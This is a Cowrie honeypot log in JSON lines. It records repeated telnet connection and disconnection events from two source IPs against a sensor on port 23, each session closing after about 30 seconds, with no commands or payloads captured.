{"eventid":"cowrie.session.closed","duration":30.926193237304688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.082405Z","src_ip":"208.115.219.122","session":"1ad0ef263329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57540,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dff404a3731","protocol":"telnet","message":"New connection: 208.115.200.90:57540 (10.17.0.5:23) [session: 1dff404a3731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.087330Z"}
{"eventid":"cowrie.session.closed","duration":31.071932792663574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.092909Z","src_ip":"208.115.200.90","session":"50d05394f2ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77852177619934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.129241Z","src_ip":"208.115.200.90","session":"b81ada3643d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700406551361084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.187098Z","src_ip":"208.115.200.90","session":"4a747770f585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00749158859253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.199704Z","src_ip":"208.115.200.90","session":"68ed8b3f298f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44776,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3dc5989d13e","protocol":"telnet","message":"New connection: 208.115.219.122:44776 (10.17.0.5:23) [session: a3dc5989d13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.227483Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57300,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e6b49ddef43","protocol":"telnet","message":"New connection: 208.115.200.90:57300 (10.17.0.5:23) [session: 1e6b49ddef43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.234220Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44788,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c959af5f496","protocol":"telnet","message":"New connection: 208.115.219.122:44788 (10.17.0.5:23) [session: 5c959af5f496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.362462Z"}
{"eventid":"cowrie.session.closed","duration":31.364434719085693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.393589Z","src_ip":"208.115.200.90","session":"54aeaac2e0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40418553352356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:28.448665Z","src_ip":"208.115.219.122","session":"fc0fc2818fe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"036744ee93e6","protocol":"telnet","message":"New connection: 208.115.200.90:57610 (10.17.0.5:23) [session: 036744ee93e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.024453Z"}
{"eventid":"cowrie.session.closed","duration":30.605597019195557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.034425Z","src_ip":"208.115.219.122","session":"35b1f78b8ea2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68381404876709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.085001Z","src_ip":"208.115.200.90","session":"dcb565fd01d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57554,"dst_ip":"10.17.0.5","dst_port":23,"session":"757eb6caf06e","protocol":"telnet","message":"New connection: 208.115.200.90:57554 (10.17.0.5:23) [session: 757eb6caf06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.131196Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44628,"dst_ip":"10.17.0.5","dst_port":23,"session":"5921cf7a1eb3","protocol":"telnet","message":"New connection: 208.115.219.122:44628 (10.17.0.5:23) [session: 5921cf7a1eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.195314Z"}
{"eventid":"cowrie.session.closed","duration":31.199401140213013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.223866Z","src_ip":"208.115.200.90","session":"47c1e01eee01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.973015308380127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.304648Z","src_ip":"208.115.200.90","session":"b6be4a743975","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853272914886475,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.484546Z","src_ip":"208.115.200.90","session":"63df2df07bb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45066738128662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.500644Z","src_ip":"208.115.219.122","session":"fcb54095129e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57666,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ec07d4717d0","protocol":"telnet","message":"New connection: 208.115.200.90:57666 (10.17.0.5:23) [session: 6ec07d4717d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.522486Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57060,"dst_ip":"10.17.0.5","dst_port":23,"session":"609fddc5e230","protocol":"telnet","message":"New connection: 208.115.200.90:57060 (10.17.0.5:23) [session: 609fddc5e230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.578645Z"}
{"eventid":"cowrie.session.closed","duration":31.293095350265503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.835207Z","src_ip":"208.115.200.90","session":"38a8062c70cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151265859603882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:29.871217Z","src_ip":"208.115.200.90","session":"cde10a33e447","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8087899684906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.096212Z","src_ip":"208.115.219.122","session":"0e9a28d808d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a64bc55d26","protocol":"telnet","message":"New connection: 208.115.200.90:57744 (10.17.0.5:23) [session: 62a64bc55d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.116278Z"}
{"eventid":"cowrie.session.closed","duration":31.172422647476196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.224923Z","src_ip":"208.115.200.90","session":"87db52dbd1b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57748,"dst_ip":"10.17.0.5","dst_port":23,"session":"68ddb6f94c9b","protocol":"telnet","message":"New connection: 208.115.200.90:57748 (10.17.0.5:23) [session: 68ddb6f94c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.235983Z"}
{"eventid":"cowrie.session.closed","duration":31.115539073944092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.264203Z","src_ip":"208.115.200.90","session":"a16a30ffa7c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11363697052002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.312657Z","src_ip":"208.115.219.122","session":"66f4dcc91947","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.314276456832886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.344272Z","src_ip":"208.115.200.90","session":"df3809e64e9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44820,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f8631462cf7","protocol":"telnet","message":"New connection: 208.115.219.122:44820 (10.17.0.5:23) [session: 8f8631462cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.357588Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57654,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d94003e570","protocol":"telnet","message":"New connection: 208.115.200.90:57654 (10.17.0.5:23) [session: 51d94003e570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.475081Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"05f23989174d","protocol":"telnet","message":"New connection: 208.115.200.90:57384 (10.17.0.5:23) [session: 05f23989174d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.602840Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44940,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d7debf834e","protocol":"telnet","message":"New connection: 208.115.219.122:44940 (10.17.0.5:23) [session: 61d7debf834e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.711875Z"}
{"eventid":"cowrie.session.closed","duration":31.545820713043213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.736863Z","src_ip":"208.115.219.122","session":"af47ba0d3289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57892,"dst_ip":"10.17.0.5","dst_port":23,"session":"19bb99886a49","protocol":"telnet","message":"New connection: 208.115.200.90:57892 (10.17.0.5:23) [session: 19bb99886a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:30.761666Z"}
{"eventid":"cowrie.session.closed","duration":30.915877103805542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.016956Z","src_ip":"208.115.219.122","session":"67018f560682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879114151000977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.045424Z","src_ip":"208.115.219.122","session":"998e73fe5edc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57714,"dst_ip":"10.17.0.5","dst_port":23,"session":"7169a3f838e9","protocol":"telnet","message":"New connection: 208.115.200.90:57714 (10.17.0.5:23) [session: 7169a3f838e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.051328Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58026,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e70536c036","protocol":"telnet","message":"New connection: 208.115.200.90:58026 (10.17.0.5:23) [session: a8e70536c036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.088012Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"28a39402961b","protocol":"telnet","message":"New connection: 208.115.200.90:58034 (10.17.0.5:23) [session: 28a39402961b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.147458Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44804,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e0f5043ee1a","protocol":"telnet","message":"New connection: 208.115.219.122:44804 (10.17.0.5:23) [session: 5e0f5043ee1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.243351Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f44b5fce761","protocol":"telnet","message":"New connection: 208.115.200.90:57746 (10.17.0.5:23) [session: 8f44b5fce761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.249566Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44962,"dst_ip":"10.17.0.5","dst_port":23,"session":"21f4f7d17114","protocol":"telnet","message":"New connection: 208.115.219.122:44962 (10.17.0.5:23) [session: 21f4f7d17114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.253787Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57764,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d1f2052dda","protocol":"telnet","message":"New connection: 208.115.200.90:57764 (10.17.0.5:23) [session: 43d1f2052dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.306452Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58046,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece68029ba8b","protocol":"telnet","message":"New connection: 208.115.200.90:58046 (10.17.0.5:23) [session: ece68029ba8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.343305Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a080969c3b57","protocol":"telnet","message":"New connection: 208.115.219.122:44974 (10.17.0.5:23) [session: a080969c3b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.396869Z"}
{"eventid":"cowrie.session.closed","duration":31.08545160293579,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.402853Z","src_ip":"208.115.200.90","session":"cc59c8818b53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224079132080078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.484554Z","src_ip":"208.115.200.90","session":"fc02a7340e7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58092,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2387f9dc8ac","protocol":"telnet","message":"New connection: 208.115.200.90:58092 (10.17.0.5:23) [session: e2387f9dc8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:31.512105Z"}
{"eventid":"cowrie.session.closed","duration":30.705955505371094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.039101Z","src_ip":"208.115.219.122","session":"9af76521c864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.524949312210083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.044549Z","src_ip":"208.115.200.90","session":"3a02cf09ff5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45262,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ad8f173367","protocol":"telnet","message":"New connection: 208.115.219.122:45262 (10.17.0.5:23) [session: f2ad8f173367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.105379Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":58030,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d56665d80e0","protocol":"telnet","message":"New connection: 208.115.200.90:58030 (10.17.0.5:23) [session: 6d56665d80e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.140001Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44952,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b3b9d498011","protocol":"telnet","message":"New connection: 208.115.219.122:44952 (10.17.0.5:23) [session: 4b3b9d498011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.147557Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45278,"dst_ip":"10.17.0.5","dst_port":23,"session":"e18bc6d710dd","protocol":"telnet","message":"New connection: 208.115.219.122:45278 (10.17.0.5:23) [session: e18bc6d710dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.152000Z"}
{"eventid":"cowrie.session.closed","duration":30.84289860725403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.156506Z","src_ip":"208.115.200.90","session":"5029d880e141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74606204032898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.186179Z","src_ip":"208.115.200.90","session":"59d28ac3bc30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844972372055054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.201575Z","src_ip":"208.115.200.90","session":"27e461cec5bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45300,"dst_ip":"10.17.0.5","dst_port":23,"session":"43460b2a1d61","protocol":"telnet","message":"New connection: 208.115.219.122:45300 (10.17.0.5:23) [session: 43460b2a1d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.221608Z"}
{"eventid":"cowrie.session.closed","duration":31.195690631866455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.252606Z","src_ip":"208.115.200.90","session":"edce72e25caf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09019112586975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.300125Z","src_ip":"208.115.200.90","session":"fcf8b575c1b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065430402755737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.322803Z","src_ip":"208.115.219.122","session":"ab2f82fe967f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":57640,"dst_ip":"10.17.0.5","dst_port":23,"session":"33922aa9e1a3","protocol":"telnet","message":"New connection: 208.115.200.90:57640 (10.17.0.5:23) [session: 33922aa9e1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.390772Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59182,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6dce50c48fe","protocol":"telnet","message":"New connection: 208.115.200.90:59182 (10.17.0.5:23) [session: f6dce50c48fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.432652Z"}
{"eventid":"cowrie.session.closed","duration":31.031879425048828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.438967Z","src_ip":"208.115.200.90","session":"e15c59b6c960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23584532737732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.472395Z","src_ip":"208.115.200.90","session":"5deef09b4127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59814,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4cf0c9231be","protocol":"telnet","message":"New connection: 208.115.200.90:59814 (10.17.0.5:23) [session: b4cf0c9231be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.645776Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60434,"dst_ip":"10.17.0.5","dst_port":23,"session":"8555014985e7","protocol":"telnet","message":"New connection: 208.115.200.90:60434 (10.17.0.5:23) [session: 8555014985e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:32.829709Z"}
{"eventid":"cowrie.session.closed","duration":30.854580879211426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.020135Z","src_ip":"208.115.219.122","session":"9c6e1b0d893f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":32872,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab3a8d5b1866","protocol":"telnet","message":"New connection: 208.115.200.90:32872 (10.17.0.5:23) [session: ab3a8d5b1866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.044760Z"}
{"eventid":"cowrie.session.closed","duration":30.380967378616333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.079231Z","src_ip":"208.115.200.90","session":"71e1b975ed8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.16839075088501,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.116982Z","src_ip":"208.115.200.90","session":"546e6ea073b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45826,"dst_ip":"10.17.0.5","dst_port":23,"session":"05ab4accd7fd","protocol":"telnet","message":"New connection: 208.115.219.122:45826 (10.17.0.5:23) [session: 05ab4accd7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.240750Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45852,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d494f6c03d5","protocol":"telnet","message":"New connection: 208.115.219.122:45852 (10.17.0.5:23) [session: 3d494f6c03d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.265657Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45888,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c7c95ecce9","protocol":"telnet","message":"New connection: 208.115.219.122:45888 (10.17.0.5:23) [session: 90c7c95ecce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.287577Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33006,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca729df1ec7","protocol":"telnet","message":"New connection: 208.115.200.90:33006 (10.17.0.5:23) [session: aca729df1ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.335219Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":45952,"dst_ip":"10.17.0.5","dst_port":23,"session":"16fa8239d45c","protocol":"telnet","message":"New connection: 208.115.219.122:45952 (10.17.0.5:23) [session: 16fa8239d45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.350819Z"}
{"eventid":"cowrie.session.closed","duration":30.814762830734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.365662Z","src_ip":"208.115.200.90","session":"408bfe966ced","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140371799468994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:33.374922Z","src_ip":"208.115.200.90","session":"46cdc9517bfa","protocol":"telnet"}
